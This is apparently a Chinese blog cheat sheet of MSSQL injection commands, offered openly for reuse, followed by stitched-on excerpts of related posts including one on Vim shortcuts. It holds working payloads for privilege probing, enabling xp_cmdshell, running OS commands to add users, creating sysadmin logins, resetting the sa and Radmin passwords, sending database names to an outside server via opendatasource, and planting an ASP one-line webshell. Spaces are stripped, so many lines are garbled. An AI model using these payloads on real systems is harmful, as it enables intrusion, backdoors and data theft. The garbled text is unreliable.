我記性不好,所以把常用的注入**記錄下來,有點亂,但對我來說,還算很有用,希望大家也會喜歡!
//看看是什麼許可權的
and1=(selectis_member('db_owner'))
andchar(124)%2bcast(is_member('db_owner')asvarchar(1))%2bchar(124)=1;--
//檢測是否有讀取某資料庫的許可權
and1=(selecthas_dbaccess('master'))
andchar(124)%2bcast(has_dbaccess('master')asvarchar(1))%2bchar(124)=1--
數字型別
andchar(124)%2buser%2bchar(124)=0
字元型別
'andchar(124)%2buser%2bchar(124)=0and''='
搜尋型別
'andchar(124)%2buser%2bchar(124)=0and'%'='
爆使用者名稱
anduser>0
'anduser>0and''='
檢測是否為sa許可權
and1=(selectis_srvrolemember('sysadmin'));--
andchar(124)%2bcast(is_srvrolemember(0x730079007300610064006d0069006e00)asvarchar(1))%2bchar(124)=1--
檢測是不是mssql資料庫
andexists(select*fromsysobjects);--
檢測是否支援多行
;declare@dint;--
恢復xp_cmdshell
;execmaster..dbo.sp_addextendedproc'xp_cmdshell','xplog70.dll';--
select*fromopenrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select@@version')
//-----------------------
//執行命令
//-----------------------
首先開啟沙盤模式:
execmaster..xp_regwrite'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1
然後利用jet.oledb執行系統命令
select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')
執行命令
;declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe/cnetuserpafpafpaf/add';--
exec[master].[dbo].[xp_cmdshell]'cmd/cmdc:\1111'
判斷xp_cmdshell擴充套件儲存過程是否存在:
'x'andname='xp_cmdshell')
寫登錄檔
execmaster..xp_regwrite'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1
reg_sz
讀登錄檔
execmaster..xp_regread'hkey_local_machine','software\microsoft\windowsnt\currentversion\winlogon','userinit'
讀取目錄內容
execmaster..xp_dirtree'c:\winnt\system32\',1,1
資料庫備份
backupdatabasepubstodisk='c:\123.bak'
//爆出長度
and(selectchar(124)%2bcast(count(1)asvarchar(8000))%2bchar(124)fromd99_tmp)=0;--
更改sa口令方法:用sql綜合利用工具連線後,執行命令:
execsp_passwordnull,'新密碼','sa'
新增和刪除乙個sa許可權的使用者test:
execmaster.dbo.sp_addlogintest,ptlove
execmaster.dbo.sp_addsrvrolemembertest,sysadmin
刪除擴充套件儲存過過程xp_cmdshell的語句:
execsp_dropextendedproc'xp_cmdshell'
新增擴充套件儲存過過程
exec[master]..sp_addextendedproc'xp_proxiedadata','c:\winnt\system32\sqllog.dll'
grantexeconxp_proxiedadatatopublic
停掉或啟用某個服務。
execmaster..xp_servicecontrol'stop','schedule'
execmaster..xp_servicecontrol'start','schedule'
dbo.xp_subdirs
只列某個目錄下的子目錄。
xp_getfiledetails'c:\inetpub\wwwroot\sqlinject\login.asp'
dbo.xp_makecab
將目標多個檔案壓縮到某個目標檔案之內。
所有要壓縮的檔案都可以接在引數列的最後方,以逗號隔開。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'c:\inetpub\wwwroot\sqlinject\login.asp',
'c:\inetpub\wwwroot\sqlinject\securelogin.asp'
xp_terminate_process
停掉某個執行中的程式,但賦予的引數是processid。
利用」任務管理器」,透過選單「檢視」-「選擇字段」勾選pid,就可以看到每個執行程式的processid
xp_terminate_process2484
xp_unpackcab
解開壓縮檔。
xp_unpackcab'c:\test.cab','c:\temp',1
某機,安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒有辦法使用regedit/e匯入註冊檔案,但是mssql是sa許可權,使用如下命令execmaster.dbo.xp_regwrite'hkey_local_machine','system\radmin\v2.0\server\parameters','parameter','reg_binary',0x02ba5e187e2589be6f80da0046aa7e3c即可修改密碼為12345678。如果要修改埠值execmaster.dbo.xp_regwrite'hkey_local_machine','system\radmin\v2.0\server\parameters','port','reg_binary',0xd20400則埠值改為1234
createdatabaselcx;
createtableku(namenvarchar(256)null);
createtablebiao(idintnull,namenvarchar(256)null);
//得到資料庫名
insertintoopendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.kuselectnamefrommaster.dbo.sysdatabases
//在master中建立表,看看許可權怎樣
createtablemaster..d_test(idnvarchar(4000)null,datanvarchar(4000)null);--
用sp_makewebtask直接在web目錄裡寫入一句話馬:
';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表內容
updatefilmssetkind='dramatic'whereid=123
//刪除內容
deletefromtable_namewherestockid=3
我常用的一些注入命令,方便一下大家
我記性不好,所以把常用的注入 記錄下來,有點亂,但對我來說,還算很有用,希望大家也會喜歡!看看是什麼許可權的 and 1 select is member db owner and char 124 2bcast is member db owner as varchar 1 2bchar 124 ...
常用的一些注入命令,方便一下大家哦
看看是什麼許可權的 and 1 select is member db owner and char 124 2bcast is member db owner as varchar 1 2bchar 124 1 檢測是否有讀取某資料庫的許可權 and 1 select has dbaccess m...
Vim的一些常用方便命令
一 撤銷和重做 按 u 可以撤銷,有時候會不小心撤銷過頭,一直不知道重做的快捷鍵,很頭大,其實按 ctrl r 即可 二 單詞移動和刪除 按 w b 可以按照單詞前後移動,同理,dw db 是前後刪除單詞 de不會刪除單詞後的空格,dw會 三 同時編輯多個檔案 vsp,開啟乙個垂直的新編輯介面 sp...